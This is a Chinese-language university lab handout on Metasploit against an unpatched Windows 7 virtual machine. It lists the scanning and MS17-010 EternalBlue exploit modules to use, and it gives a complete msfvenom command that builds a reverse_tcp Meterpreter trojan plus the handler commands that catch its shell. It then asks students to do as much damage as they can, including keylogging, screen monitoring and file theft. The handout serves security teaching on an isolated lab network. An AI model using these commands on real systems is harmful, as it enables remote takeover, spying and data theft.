实验目的和实验环境

实验目的

1、熟悉Metasploit工具的使用

2、熟悉操作系统漏洞攻击流程

实验环境

1、在虚拟机上搭建两台机器，一台kali-linux、一台win7-无补丁版

2、确保两台机器能连接到同一个网段，kali中ping 虚拟机win7的ip地址看是否能ping通

3、为了提高实验成功的概率，建议大家关闭win7虚拟机防火墙

补充

kali为了能确保复制成功 先安装tools插件

```
apt-get install open-vm-tools-desktop fuse
```

任务1：MS17_010漏洞利用

```
任务描述： 利用ms17-010漏洞攻击无补丁版的win7机器
任务步骤：
1、利用auxiliary/scanner/ip/ipidseq 模块扫描win7机器是否在线
2、利用auxiliary/scanner/portscan/syn 模块扫描win7机器开放的端口
3、利用auxiliary/scanner/smb/smb_ms17_010模块扫描win7机器是否存在ms17_010漏洞
4、利用exploit/windows/smb/ms17_010_eternalblue 模块攻击未打补丁的win7虚拟机
```

任务2：ShellCode

步骤1：制作控制木马

在kali中输入以下命令制作一个windows shellcode控制木马

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.133 LPORT=1001 -f exe >
cc.exe
```

将生成exe文件拷贝到win7虚拟机机器上

步骤2：监听连接

然后在kali中输入一下代码 监听肉鸡的连接

```
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.0.133
set LPORT 1001
run
```

监听成功以后运行步骤1制作的木马并拿到win7机器的控制权限

任务3：Meterpreter

在任务2执行成功并拿到win7虚拟机控制权限后，利用Meterpreter尽可能的对win7机器进行多的破坏操作

如截屏，监听键盘记录，监控屏幕操作，上传文件到控制机器，从控制机器下载文件，

ps:如果任务2实验失败，建议利用任务1中的漏洞来拿目标机器的拿目标机器的控制权限

实验要求

(1) 创建一个**以学号、姓名、课程名称和实验序号命名**的文件夹，例如“2010010101-张三-网络安全-实验1”

(2) 将实验过程截图，并保存，并在每个截图上标上自己的姓名和学号。

(3)将截图整理到实验报告中，实验报告中标明任务一、任务二和任务3。

(4) 将实验报告在指定时间由学习委员收集整理后统一发送至邮箱6125220@qq.com。